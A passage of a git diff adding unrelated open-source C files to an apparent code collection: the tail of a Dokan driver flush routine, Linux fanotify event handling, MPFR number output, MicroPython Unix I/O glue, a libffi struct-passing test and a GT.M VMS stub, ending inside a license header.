+    DokanFCBLockRO(fcb);
+
+    eventLength = sizeof(EVENT_CONTEXT) + fcb->FileName.Length;
+    eventContext = AllocateEventContext(vcb->Dcb, Irp, eventLength, ccb);
+
+    if (eventContext == NULL) {
+      status = STATUS_INSUFFICIENT_RESOURCES;
+      __leave;
+    }
+
+    eventContext->Context = ccb->UserContext;
+    DDbgPrint("   get Context %X\n", (ULONG)ccb->UserContext);
+
+    // copy file name to be flushed
+    eventContext->Operation.Flush.FileNameLength = fcb->FileName.Length;
+    RtlCopyMemory(eventContext->Operation.Flush.FileName, fcb->FileName.Buffer,
+                  fcb->FileName.Length);
+
+    CcUninitializeCacheMap(fileObject, NULL, NULL);
+    // fileObject->Flags &= FO_CLEANUP_COMPLETE;
+
+    // FsRtlCheckOpLock is called with non-NULL completion routine - not blocking.
+    status = FsRtlCheckOplock(DokanGetFcbOplock(fcb), Irp, eventContext,
+                              DokanOplockComplete, DokanPrePostIrp);
+
+    //
+    //  if FsRtlCheckOplock returns STATUS_PENDING the IRP has been posted
+    //  to service an oplock break and we need to leave now.
+    //
+    if (status != STATUS_SUCCESS) {
+      if (status == STATUS_PENDING) {
+        DDbgPrint("   FsRtlCheckOplock returned STATUS_PENDING\n");
+      } else {
+        DokanFreeEventContext(eventContext);
+      }
+      __leave;
+    }
+
+    // register this IRP to waiting IRP list and make it pending status
+    status = DokanRegisterPendingIrp(DeviceObject, Irp, eventContext, 0);
+
+  } __finally {
+    if(fcb)
+      DokanFCBUnlock(fcb);
+
+    DokanCompleteIrpRequest(Irp, status, 0);
+
+    DDbgPrint("<== DokanFlush\n");
+  }
+
+  return status;
+}
+
+VOID DokanCompleteFlush(__in PIRP_ENTRY IrpEntry,
+                        __in PEVENT_INFORMATION EventInfo) {
+  PIRP irp;
+  PIO_STACK_LOCATION irpSp;
+  PDokanCCB ccb;
+  PFILE_OBJECT fileObject;
+
+  irp = IrpEntry->Irp;
+  irpSp = IrpEntry->IrpSp;
+
+  DDbgPrint("==> DokanCompleteFlush\n");
+
+  fileObject = irpSp->FileObject;
+  ccb = fileObject->FsContext2;
+  ASSERT(ccb != NULL);
+
+  ccb->UserContext = EventInfo->Context;
+  DDbgPrint("   set Context %X\n", (ULONG)ccb->UserContext);
+
+  DokanCompleteIrpRequest(irp, EventInfo->Status, 0);
+
+  DDbgPrint("<== DokanCompleteFlush\n");
+}
diff --git a/pool/shard001/C/0025228_fanotify.c b/pool/shard001/C/0025228_fanotify.c
new file mode 100644
index 0000000000000000000000000000000000000000..2fa99aeaa0959e43e80db466a95e7a09ea0dbfa7
--- /dev/null
+++ b/pool/shard001/C/0025228_fanotify.c
@@ -0,0 +1,275 @@
+#include <linux/fanotify.h>
+#include <linux/fdtable.h>
+#include <linux/fsnotify_backend.h>
+#include <linux/init.h>
+#include <linux/jiffies.h>
+#include <linux/kernel.h> /* UINT_MAX */
+#include <linux/mount.h>
+#include <linux/sched.h>
+#include <linux/sched/user.h>
+#include <linux/types.h>
+#include <linux/wait.h>
+
+#include "fanotify.h"
+
+static bool should_merge(struct fsnotify_event *old_fsn,
+			 struct fsnotify_event *new_fsn)
+{
+	struct fanotify_event_info *old, *new;
+
+	pr_debug("%s: old=%p new=%p\n", __func__, old_fsn, new_fsn);
+	old = FANOTIFY_E(old_fsn);
+	new = FANOTIFY_E(new_fsn);
+
+	if (old_fsn->inode == new_fsn->inode && old->tgid == new->tgid &&
+	    old->path.mnt == new->path.mnt &&
+	    old->path.dentry == new->path.dentry)
+		return true;
+	return false;
+}
+
+/* and the list better be locked by something too! */
+static int fanotify_merge(struct list_head *list, struct fsnotify_event *event)
+{
+	struct fsnotify_event *test_event;
+
+	pr_debug("%s: list=%p event=%p\n", __func__, list, event);
+
+#ifdef CONFIG_FANOTIFY_ACCESS_PERMISSIONS
+	/*
+	 * Don't merge a permission event with any other event so that we know
+	 * the event structure we have created in fanotify_handle_event() is the
+	 * one we should check for permission response.
+	 */
+	if (event->mask & FAN_ALL_PERM_EVENTS)
+		return 0;
+#endif
+
+	list_for_each_entry_reverse(test_event, list, list) {
+		if (should_merge(test_event, event)) {
+			test_event->mask |= event->mask;
+			return 1;
+		}
+	}
+
+	return 0;
+}
+
+#ifdef CONFIG_FANOTIFY_ACCESS_PERMISSIONS
+static int fanotify_get_response(struct fsnotify_group *group,
+				 struct fanotify_perm_event_info *event,
+				 struct fsnotify_iter_info *iter_info)
+{
+	int ret;
+
+	pr_debug("%s: group=%p event=%p\n", __func__, group, event);
+
+	/*
+	 * fsnotify_prepare_user_wait() fails if we race with mark deletion.
+	 * Just let the operation pass in that case.
+	 */
+	if (!fsnotify_prepare_user_wait(iter_info)) {
+		event->response = FAN_ALLOW;
+		goto out;
+	}
+
+	wait_event(group->fanotify_data.access_waitq, event->response);
+
+	fsnotify_finish_user_wait(iter_info);
+out:
+	/* userspace responded, convert to something usable */
+	switch (event->response) {
+	case FAN_ALLOW:
+		ret = 0;
+		break;
+	case FAN_DENY:
+	default:
+		ret = -EPERM;
+	}
+	event->response = 0;
+
+	pr_debug("%s: group=%p event=%p about to return ret=%d\n", __func__,
+		 group, event, ret);
+	
+	return ret;
+}
+#endif
+
+static bool fanotify_should_send_event(struct fsnotify_mark *inode_mark,
+				       struct fsnotify_mark *vfsmnt_mark,
+				       u32 event_mask,
+				       const void *data, int data_type)
+{
+	__u32 marks_mask, marks_ignored_mask;
+	const struct path *path = data;
+
+	pr_debug("%s: inode_mark=%p vfsmnt_mark=%p mask=%x data=%p"
+		 " data_type=%d\n", __func__, inode_mark, vfsmnt_mark,
+		 event_mask, data, data_type);
+
+	/* if we don't have enough info to send an event to userspace say no */
+	if (data_type != FSNOTIFY_EVENT_PATH)
+		return false;
+
+	/* sorry, fanotify only gives a damn about files and dirs */
+	if (!d_is_reg(path->dentry) &&
+	    !d_can_lookup(path->dentry))
+		return false;
+
+	if (inode_mark && vfsmnt_mark) {
+		marks_mask = (vfsmnt_mark->mask | inode_mark->mask);
+		marks_ignored_mask = (vfsmnt_mark->ignored_mask | inode_mark->ignored_mask);
+	} else if (inode_mark) {
+		/*
+		 * if the event is for a child and this inode doesn't care about
+		 * events on the child, don't send it!
+		 */
+		if ((event_mask & FS_EVENT_ON_CHILD) &&
+		    !(inode_mark->mask & FS_EVENT_ON_CHILD))
+			return false;
+		marks_mask = inode_mark->mask;
+		marks_ignored_mask = inode_mark->ignored_mask;
+	} else if (vfsmnt_mark) {
+		marks_mask = vfsmnt_mark->mask;
+		marks_ignored_mask = vfsmnt_mark->ignored_mask;
+	} else {
+		BUG();
+	}
+
+	if (d_is_dir(path->dentry) &&
+	    !(marks_mask & FS_ISDIR & ~marks_ignored_mask))
+		return false;
+
+	if (event_mask & FAN_ALL_OUTGOING_EVENTS & marks_mask &
+				 ~marks_ignored_mask)
+		return true;
+
+	return false;
+}
+
+struct fanotify_event_info *fanotify_alloc_event(struct inode *inode, u32 mask,
+						 const struct path *path)
+{
+	struct fanotify_event_info *event;
+
+#ifdef CONFIG_FANOTIFY_ACCESS_PERMISSIONS
+	if (mask & FAN_ALL_PERM_EVENTS) {
+		struct fanotify_perm_event_info *pevent;
+
+		pevent = kmem_cache_alloc(fanotify_perm_event_cachep,
+					  GFP_KERNEL);
+		if (!pevent)
+			return NULL;
+		event = &pevent->fae;
+		pevent->response = 0;
+		goto init;
+	}
+#endif
+	event = kmem_cache_alloc(fanotify_event_cachep, GFP_KERNEL);
+	if (!event)
+		return NULL;
+init: __maybe_unused
+	fsnotify_init_event(&event->fse, inode, mask);
+	event->tgid = get_pid(task_tgid(current));
+	if (path) {
+		event->path = *path;
+		path_get(&event->path);
+	} else {
+		event->path.mnt = NULL;
+		event->path.dentry = NULL;
+	}
+	return event;
+}
+
+static int fanotify_handle_event(struct fsnotify_group *group,
+				 struct inode *inode,
+				 struct fsnotify_mark *inode_mark,
+				 struct fsnotify_mark *fanotify_mark,
+				 u32 mask, const void *data, int data_type,
+				 const unsigned char *file_name, u32 cookie,
+				 struct fsnotify_iter_info *iter_info)
+{
+	int ret = 0;
+	struct fanotify_event_info *event;
+	struct fsnotify_event *fsn_event;
+
+	BUILD_BUG_ON(FAN_ACCESS != FS_ACCESS);
+	BUILD_BUG_ON(FAN_MODIFY != FS_MODIFY);
+	BUILD_BUG_ON(FAN_CLOSE_NOWRITE != FS_CLOSE_NOWRITE);
+	BUILD_BUG_ON(FAN_CLOSE_WRITE != FS_CLOSE_WRITE);
+	BUILD_BUG_ON(FAN_OPEN != FS_OPEN);
+	BUILD_BUG_ON(FAN_EVENT_ON_CHILD != FS_EVENT_ON_CHILD);
+	BUILD_BUG_ON(FAN_Q_OVERFLOW != FS_Q_OVERFLOW);
+	BUILD_BUG_ON(FAN_OPEN_PERM != FS_OPEN_PERM);
+	BUILD_BUG_ON(FAN_ACCESS_PERM != FS_ACCESS_PERM);
+	BUILD_BUG_ON(FAN_ONDIR != FS_ISDIR);
+
+	if (!fanotify_should_send_event(inode_mark, fanotify_mark, mask, data,
+					data_type))
+		return 0;
+
+	pr_debug("%s: group=%p inode=%p mask=%x\n", __func__, group, inode,
+		 mask);
+
+	event = fanotify_alloc_event(inode, mask, data);
+	if (unlikely(!event))
+		return -ENOMEM;
+
+	fsn_event = &event->fse;
+	ret = fsnotify_add_event(group, fsn_event, fanotify_merge);
+	if (ret) {
+		/* Permission events shouldn't be merged */
+		BUG_ON(ret == 1 && mask & FAN_ALL_PERM_EVENTS);
+		/* Our event wasn't used in the end. Free it. */
+		fsnotify_destroy_event(group, fsn_event);
+
+		return 0;
+	}
+
+#ifdef CONFIG_FANOTIFY_ACCESS_PERMISSIONS
+	if (mask & FAN_ALL_PERM_EVENTS) {
+		ret = fanotify_get_response(group, FANOTIFY_PE(fsn_event),
+					    iter_info);
+		fsnotify_destroy_event(group, fsn_event);
+	}
+#endif
+	return ret;
+}
+
+static void fanotify_free_group_priv(struct fsnotify_group *group)
+{
+	struct user_struct *user;
+
+	user = group->fanotify_data.user;
+	atomic_dec(&user->fanotify_listeners);
+	free_uid(user);
+}
+
+static void fanotify_free_event(struct fsnotify_event *fsn_event)
+{
+	struct fanotify_event_info *event;
+
+	event = FANOTIFY_E(fsn_event);
+	path_put(&event->path);
+	put_pid(event->tgid);
+#ifdef CONFIG_FANOTIFY_ACCESS_PERMISSIONS
+	if (fsn_event->mask & FAN_ALL_PERM_EVENTS) {
+		kmem_cache_free(fanotify_perm_event_cachep,
+				FANOTIFY_PE(fsn_event));
+		return;
+	}
+#endif
+	kmem_cache_free(fanotify_event_cachep, event);
+}
+
+static void fanotify_free_mark(struct fsnotify_mark *fsn_mark)
+{
+	kmem_cache_free(fanotify_mark_cache, fsn_mark);
+}
+
+const struct fsnotify_ops fanotify_fsnotify_ops = {
+	.handle_event = fanotify_handle_event,
+	.free_group_priv = fanotify_free_group_priv,
+	.free_event = fanotify_free_event,
+	.free_mark = fanotify_free_mark,
+};
diff --git a/pool/shard001/C/0025233_out_str.c b/pool/shard001/C/0025233_out_str.c
new file mode 100644
index 0000000000000000000000000000000000000000..1b5e6da8f31c81f30bce04bd09b9d55c5e2372fc
--- /dev/null
+++ b/pool/shard001/C/0025233_out_str.c
@@ -0,0 +1,98 @@
+/* mpfr_out_str -- output a floating-point number to a stream
+
+Copyright 1999, 2001-2002, 2004, 2006-2017 Free Software Foundation, Inc.
+Contributed by the AriC and Caramba projects, INRIA.
+
+This file is part of the GNU MPFR Library.
+
+The GNU MPFR Library is free software; you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation; either version 3 of the License, or (at your
+option) any later version.
+
+The GNU MPFR Library is distributed in the hope that it will be useful, but
+WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
+or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public
+License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with the GNU MPFR Library; see the file COPYING.LESSER.  If not, see
+http://www.gnu.org/licenses/ or write to the Free Software Foundation, Inc.,
+51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA. */
+
+#include "mpfr-impl.h"
+
+/* Warning! S should not contain "%". */
+#define OUT_STR_RET(S)                          \
+  do                                            \
+    {                                           \
+      int r;                                    \
+      r = fprintf (stream, (S));                \
+      return r < 0 ? 0 : r;                     \
+    }                                           \
+  while (0)
+
+size_t
+mpfr_out_str (FILE *stream, int base, size_t n_digits, mpfr_srcptr op,
+              mpfr_rnd_t rnd_mode)
+{
+  char *s, *s0;
+  size_t l;
+  mpfr_exp_t e;
+  int err;
+
+  MPFR_ASSERTN (base >= 2 && base <= 62);
+
+  /* when stream=NULL, output to stdout */
+  if (stream == NULL)
+    stream = stdout;
+
+  if (MPFR_UNLIKELY (MPFR_IS_SINGULAR (op)))
+    {
+      if (MPFR_IS_NAN (op))
+        OUT_STR_RET ("@NaN@");
+      else if (MPFR_IS_INF (op))
+        OUT_STR_RET (MPFR_IS_POS (op) ? "@Inf@" : "-@Inf@");
+      else
+        {
+          MPFR_ASSERTD (MPFR_IS_ZERO (op));
+          OUT_STR_RET (MPFR_IS_POS (op) ? "0" : "-0");
+        }
+    }
+
+  s = mpfr_get_str (NULL, &e, base, n_digits, op, rnd_mode);
+
+  s0 = s;
+  /* for op=3.1416 we have s = "31416" and e = 1 */
+
+  l = strlen (s) + 1; /* size of allocated block returned by mpfr_get_str
+                         - may be incorrect, as only an upper bound? */
+
+  /* outputs possible sign and significand */
+  err = (*s == '-' && fputc (*s++, stream) == EOF)
+    || fputc (*s++, stream) == EOF  /* leading digit */
+    || fputc ((unsigned char) MPFR_DECIMAL_POINT, stream) == EOF
+    || fputs (s, stream) == EOF;     /* trailing significand */
+  (*__gmp_free_func) (s0, l);
+  if (MPFR_UNLIKELY (err))
+    return 0;
+
+  e--;  /* due to the leading digit */
+
+  /* outputs exponent */
+  if (e)
+    {
+      int r;
+
+      MPFR_ASSERTN(e >= LONG_MIN);
+      MPFR_ASSERTN(e <= LONG_MAX);
+
+      r = fprintf (stream, (base <= 10 ? "e%ld" : "@%ld"), (long) e);
+      if (MPFR_UNLIKELY (r < 0))
+        return 0;
+
+      l += r;
+    }
+
+  return l;
+}
diff --git a/pool/shard001/C/0025234_unix_mphal.c b/pool/shard001/C/0025234_unix_mphal.c
new file mode 100644
index 0000000000000000000000000000000000000000..df37976272a66f1b16a5ad3f85be7688164e58f5
--- /dev/null
+++ b/pool/shard001/C/0025234_unix_mphal.c
@@ -0,0 +1,193 @@
+/*
+ * This file is part of the Micro Python project, http://micropython.org/
+ *
+ * The MIT License (MIT)
+ *
+ * Copyright (c) 2015 Damien P. George
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/time.h>
+
+#include "py/mpstate.h"
+#include "py/mphal.h"
+#include "py/runtime.h"
+#include "extmod/misc.h"
+
+#ifndef _WIN32
+#include <signal.h>
+
+STATIC void sighandler(int signum) {
+    if (signum == SIGINT) {
+        #if MICROPY_ASYNC_KBD_INTR
+        mp_obj_exception_clear_traceback(MP_STATE_VM(keyboard_interrupt_obj));
+        sigset_t mask;
+        sigemptyset(&mask);
+        // On entry to handler, its signal is blocked, and unblocked on
+        // normal exit. As we instead perform longjmp, unblock it manually.
+        sigprocmask(SIG_SETMASK, &mask, NULL);
+        nlr_raise(MP_STATE_VM(keyboard_interrupt_obj));
+        #else
+        if (MP_STATE_VM(mp_pending_exception) == MP_STATE_VM(keyboard_interrupt_obj)) {
+            // this is the second time we are called, so die straight away
+            exit(1);
+        }
+        mp_obj_exception_clear_traceback(MP_STATE_VM(keyboard_interrupt_obj));
+        MP_STATE_VM(mp_pending_exception) = MP_STATE_VM(keyboard_interrupt_obj);
+        #endif
+    }
+}
+#endif
+
+void mp_hal_set_interrupt_char(char c) {
+    // configure terminal settings to (not) let ctrl-C through
+    if (c == CHAR_CTRL_C) {
+        #ifndef _WIN32
+        // enable signal handler
+        struct sigaction sa;
+        sa.sa_flags = 0;
+        sa.sa_handler = sighandler;
+        sigemptyset(&sa.sa_mask);
+        sigaction(SIGINT, &sa, NULL);
+        #endif
+    } else {
+        #ifndef _WIN32
+        // disable signal handler
+        struct sigaction sa;
+        sa.sa_flags = 0;
+        sa.sa_handler = SIG_DFL;
+        sigemptyset(&sa.sa_mask);
+        sigaction(SIGINT, &sa, NULL);
+        #endif
+    }
+}
+
+#if MICROPY_USE_READLINE == 1
+
+#include <termios.h>
+
+static struct termios orig_termios;
+
+void mp_hal_stdio_mode_raw(void) {
+    // save and set terminal settings
+    tcgetattr(0, &orig_termios);
+    static struct termios termios;
+    termios = orig_termios;
+    termios.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON);
+    termios.c_cflag = (termios.c_cflag & ~(CSIZE | PARENB)) | CS8;
+    termios.c_lflag = 0;
+    termios.c_cc[VMIN] = 1;
+    termios.c_cc[VTIME] = 0;
+    tcsetattr(0, TCSAFLUSH, &termios);
+}
+
+void mp_hal_stdio_mode_orig(void) {
+    // restore terminal settings
+    tcsetattr(0, TCSAFLUSH, &orig_termios);
+}
+
+#endif
+
+#if MICROPY_PY_OS_DUPTERM
+static int call_dupterm_read(void) {
+    nlr_buf_t nlr;
+    if (nlr_push(&nlr) == 0) {
+        mp_obj_t read_m[3];
+        mp_load_method(MP_STATE_PORT(term_obj), MP_QSTR_read, read_m);
+        read_m[2] = MP_OBJ_NEW_SMALL_INT(1);
+        mp_obj_t res = mp_call_method_n_kw(1, 0, read_m);
+        if (res == mp_const_none) {
+            return -2;
+        }
+        mp_buffer_info_t bufinfo;
+        mp_get_buffer_raise(res, &bufinfo, MP_BUFFER_READ);
+        if (bufinfo.len == 0) {
+            mp_printf(&mp_plat_print, "dupterm: EOF received, deactivating\n");
+            MP_STATE_PORT(term_obj) = NULL;
+            return -1;
+        }
+        nlr_pop();
+        return *(byte*)bufinfo.buf;
+    } else {
+        // Temporarily disable dupterm to avoid infinite recursion
+        mp_obj_t save_term = MP_STATE_PORT(term_obj);
+        MP_STATE_PORT(term_obj) = NULL;
+        mp_printf(&mp_plat_print, "dupterm: ");
+        mp_obj_print_exception(&mp_plat_print, nlr.ret_val);
+        MP_STATE_PORT(term_obj) = save_term;
+    }
+
+    return -1;
+}
+#endif
+
+int mp_hal_stdin_rx_chr(void) {
+    unsigned char c;
+#if MICROPY_PY_OS_DUPTERM
+    if (MP_STATE_PORT(term_obj) != MP_OBJ_NULL) {
+        int c;
+        do {
+             c = call_dupterm_read();
+        } while (c == -2);
+        if (c == -1) {
+            goto main_term;
+        }
+        if (c == '\n') {
+            c = '\r';
+        }
+        return c;
+    } else {
+        main_term:;
+#endif
+        int ret = read(0, &c, 1);
+        if (ret == 0) {
+            c = 4; // EOF, ctrl-D
+        } else if (c == '\n') {
+            c = '\r';
+        }
+        return c;
+#if MICROPY_PY_OS_DUPTERM
+    }
+#endif
+}
+
+void mp_hal_stdout_tx_strn(const char *str, size_t len) {
+    int ret = write(1, str, len);
+    mp_uos_dupterm_tx_strn(str, len);
+    (void)ret; // to suppress compiler warning
+}
+
+// cooked is same as uncooked because the terminal does some postprocessing
+void mp_hal_stdout_tx_strn_cooked(const char *str, size_t len) {
+    mp_hal_stdout_tx_strn(str, len);
+}
+
+void mp_hal_stdout_tx_str(const char *str) {
+    mp_hal_stdout_tx_strn(str, strlen(str));
+}
+
+mp_uint_t mp_hal_ticks_ms(void) {
+    struct timeval tv;
+    gettimeofday(&tv, NULL);
+    return tv.tv_sec * 1000 + tv.tv_usec / 1000;
+}
diff --git a/pool/shard001/C/0025235_cls_7byte.c b/pool/shard001/C/0025235_cls_7byte.c
new file mode 100644
index 0000000000000000000000000000000000000000..f5c00003153dc0f79d00d1d9063760d8c9b0723b
--- /dev/null
+++ b/pool/shard001/C/0025235_cls_7byte.c
@@ -0,0 +1,97 @@
+/* Area:	ffi_call, closure_call
+   Purpose:	Check structure passing with different structure size.
+		Depending on the ABI. Check overlapping.
+   Limitations:	none.
+   PR:		none.
+   Originator:	<andreast@gcc.gnu.org> 20030828	 */
+
+/* { dg-do run } */
+#include "ffitest.h"
+
+typedef struct cls_struct_7byte {
+  unsigned short a;
+  unsigned short b;
+  unsigned char c;
+  unsigned short d;
+} cls_struct_7byte;
+
+cls_struct_7byte cls_struct_7byte_fn(struct cls_struct_7byte a1,
+			    struct cls_struct_7byte a2)
+{
+  struct cls_struct_7byte result;
+
+  result.a = a1.a + a2.a;
+  result.b = a1.b + a2.b;
+  result.c = a1.c + a2.c;
+  result.d = a1.d + a2.d;
+
+  printf("%d %d %d %d %d %d %d %d: %d %d %d %d\n", a1.a, a1.b, a1.c, a1.d,
+	 a2.a, a2.b, a2.c, a2.d,
+	 result.a, result.b, result.c, result.d);
+
+  return  result;
+}
+
+static void
+cls_struct_7byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args,
+		    void* userdata __UNUSED__)
+{
+
+  struct cls_struct_7byte a1, a2;
+
+  a1 = *(struct cls_struct_7byte*)(args[0]);
+  a2 = *(struct cls_struct_7byte*)(args[1]);
+
+  *(cls_struct_7byte*)resp = cls_struct_7byte_fn(a1, a2);
+}
+
+int main (void)
+{
+  ffi_cif cif;
+  void *code;
+  ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code);
+  void* args_dbl[5];
+  ffi_type* cls_struct_fields[5];
+  ffi_type cls_struct_type;
+  ffi_type* dbl_arg_types[5];
+
+  cls_struct_type.size = 0;
+  cls_struct_type.alignment = 0;
+  cls_struct_type.type = FFI_TYPE_STRUCT;
+  cls_struct_type.elements = cls_struct_fields;
+
+  struct cls_struct_7byte g_dbl = { 127, 120, 1, 254 };
+  struct cls_struct_7byte f_dbl = { 12, 128, 9, 255 };
+  struct cls_struct_7byte res_dbl;
+
+  cls_struct_fields[0] = &ffi_type_ushort;
+  cls_struct_fields[1] = &ffi_type_ushort;
+  cls_struct_fields[2] = &ffi_type_uchar;
+  cls_struct_fields[3] = &ffi_type_ushort;
+  cls_struct_fields[4] = NULL;
+
+  dbl_arg_types[0] = &cls_struct_type;
+  dbl_arg_types[1] = &cls_struct_type;
+  dbl_arg_types[2] = NULL;
+
+  CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type,
+		     dbl_arg_types) == FFI_OK);
+
+  args_dbl[0] = &g_dbl;
+  args_dbl[1] = &f_dbl;
+  args_dbl[2] = NULL;
+
+  ffi_call(&cif, FFI_FN(cls_struct_7byte_fn), &res_dbl, args_dbl);
+  /* { dg-output "127 120 1 254 12 128 9 255: 139 248 10 509" } */
+  printf("res: %d %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d);
+  /* { dg-output "\nres: 139 248 10 509" } */
+
+  CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_7byte_gn, NULL, code) == FFI_OK);
+
+  res_dbl = ((cls_struct_7byte(*)(cls_struct_7byte, cls_struct_7byte))(code))(g_dbl, f_dbl);
+  /* { dg-output "\n127 120 1 254 12 128 9 255: 139 248 10 509" } */
+  printf("res: %d %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d);
+  /* { dg-output "\nres: 139 248 10 509" } */
+
+  exit(0);
+}
diff --git a/pool/shard001/C/0025240_ceprep_file.c b/pool/shard001/C/0025240_ceprep_file.c
new file mode 100644
index 0000000000000000000000000000000000000000..7323a54d055aaa9c6350153ae727c783042a552d
--- /dev/null
+++ b/pool/shard001/C/0025240_ceprep_file.c
@@ -0,0 +1,144 @@
+/****************************************************************
+ *								*
+ *	Copyright 2001, 2009 Fidelity Information Services, Inc	*
+ *								*
+ *	This source code contains the intellectual property	*
+ *	of its copyright holder(s), and is made available	*
+ *	under a license.  If you do not know the terms of	*
+ *	the license, please stop and do not read further.	*
+ *								*
+ ****************************************************************/
+
+#include "mdef.h"
+
+#ifdef VMS
+#include <rms.h>
+static struct FAB	ceprep_fab;	/* file access block for compiler escape preprocessor output */
+static struct RAB	ceprep_rab;	/* record access block for compiler escape preprocessor output */
+#endif
+
+#include "gtm_string.h"
+#include "cmd_qlf.h"
+#include "compiler.h"
+#include "io.h"
+#include "io_params.h"
+#include "op.h"
+#include "comp_esc.h"
+
+#define CEPREP_OPEN_TIMEOUT 30
+
+GBLREF unsigned char		source_buffer[];
+GBLREF mident			module_name;
+GBLREF io_pair			io_curr_device;
+GBLREF command_qualifier	cmd_qlf;
+
+static io_pair	dev_in_use;
+
+void open_ceprep_file(void)
+{
+#ifdef VMS
+/* stub except for VMS */
+#ifdef __ALPHA
+# pragma member_alignment save
+# pragma nomember_alignment
+#endif
+	static readonly struct
+	{
+		unsigned char	newversion;
+		unsigned char	wrap;
+		unsigned char	width;
+		int4		v_width;
+		unsigned char	eol;
+	} open_params_list =
+	{
+		(unsigned char)	iop_newversion,
+		(unsigned char)	iop_wrap,
+		(unsigned char)	iop_recordsize,
+		(int4)		MAX_SRCLINE,
+		(unsigned char)	iop_eol
+	};
+#ifdef __ALPHA
+# pragma member_alignment restore
+#endif
+	int		mname_len;
+	uint4		status;
+	char		charspace, ceprep_name_buff[MAX_MIDENT_LEN + SIZEOF(".MCI") - 1], fname[255];
+	mval		file, params;
+	struct NAM	ceprep_nam;	/* name block for file access block for compiler escape preprocessor output */
+
+	/* Create cepreprocessor output file. */
+	ceprep_fab = cc$rms_fab;
+	ceprep_fab.fab$l_dna = ceprep_name_buff;
+	mname_len = module_name.len;
+	assert(mname_len <= MAX_MIDENT_LEN);
+	if (0 == mname_len)
+	{
+		MEMCPY_LIT(ceprep_name_buff, "MDEFAULT.MCI");
+		ceprep_fab.fab$b_dns = SIZEOF("MDEFAULT.MCI") - 1;
+	} else
+	{
+		memcpy(ceprep_name_buff, module_name.addr, mname_len);
+		MEMCPY_LIT(&ceprep_name_buff[mname_len], ".MCI");
+		ceprep_fab.fab$b_dns = mname_len + SIZEOF(".MCI") - 1;
+	}
+	if (MV_DEFINED(&cmd_qlf.ceprep_file))
+	{
+		ceprep_fab.fab$b_fns = cmd_qlf.ceprep_file.str.len;
+		ceprep_fab.fab$l_fna = cmd_qlf.ceprep_file.str.addr;
+	}
+	ceprep_nam = cc$rms_nam;
+	ceprep_nam.nam$l_esa = fname;
+	ceprep_nam.nam$b_ess = SIZEOF(fname);
+	ceprep_nam.nam$b_nop = (NAM$M_SYNCHK);
+	ceprep_fab.fab$l_nam = &ceprep_nam;
+	ceprep_fab.fab$l_fop = FAB$M_NAM;
+	if (RMS$_NORMAL != (status = sys$parse(&ceprep_fab, 0, 0)))
+		rts_error(VARLSTCNT(1) status);
+	file.mvtype = params.mvtype = MV_STR;
+	file.str.len = ceprep_nam.nam$b_esl;
+	file.str.addr = fname;
+	params.str.len = SIZEOF(open_params_list);
+	params.str.addr = &open_params_list;
+	op_open(&file, &params, CEPREP_OPEN_TIMEOUT, 0);
+	params.str.len = 1;
+	charspace = (char)iop_eol;
+	params.str.addr = &charspace;
+	dev_in_use = io_curr_device;
+	op_use(&file, &params);
+#endif
+	return;
+}
+
+void close_ceprep_file(void)
+{
+#ifdef VMS
+/* stub except for VMS */
+	unsigned char	charspace;
+	mval		param, ceprep_file;
+
+	param.str.len = 1;
+	charspace = (char)iop_eol;
+	param.str.addr = &charspace;
+	ceprep_file.mvtype = param.mvtype = MV_STR;
+	ceprep_file.str.len = io_curr_device.in->trans_name->len;
+	ceprep_file.str.addr = io_curr_device.in->trans_name->dollar_io;
+	op_close(&ceprep_file, &param);
+	io_curr_device = dev_in_use;
+#endif
+	return;
+}
+
+void put_ceprep_line(void)
+{
+#ifdef VMS
+/* stub except for VMS */
+	mval	out;
+
+	out.mvtype = MV_STR;
+	out.str.len = strlen((char *)source_buffer);
+	out.str.addr = source_buffer;
+	op_write(&out);
+	op_wteol(1);
+#endif
+	return;
+}
diff --git a/pool/shard001/C/0025253_linefinder_fti.c b/pool/shard001/C/0025253_linefinder_fti.c
new file mode 100644
index 0000000000000000000000000000000000000000..10878a1934f38bbee0799e189e362a57c1654496
--- /dev/null
+++ b/pool/shard001/C/0025253_linefinder_fti.c
@@ -0,0 +1,94 @@
+/*
+ * Author: Jon Trulson <jtrulson@ics.com>
+ * Copyright (c) 2016 Intel Corporation.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining
+ * a copy of this software and associated documentation files (the
+ * "Software"), to deal in the Software without restriction, including
+ * without limitation the rights to use, copy, modify, merge, publish,
+ * distribute, sublicense, and/or sell copies of the Software, and to
+ * permit persons to whom the Software is furnished to do so, subject to
+ * the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be
+ * included in all copies or substantial portions of the Software.
+ *
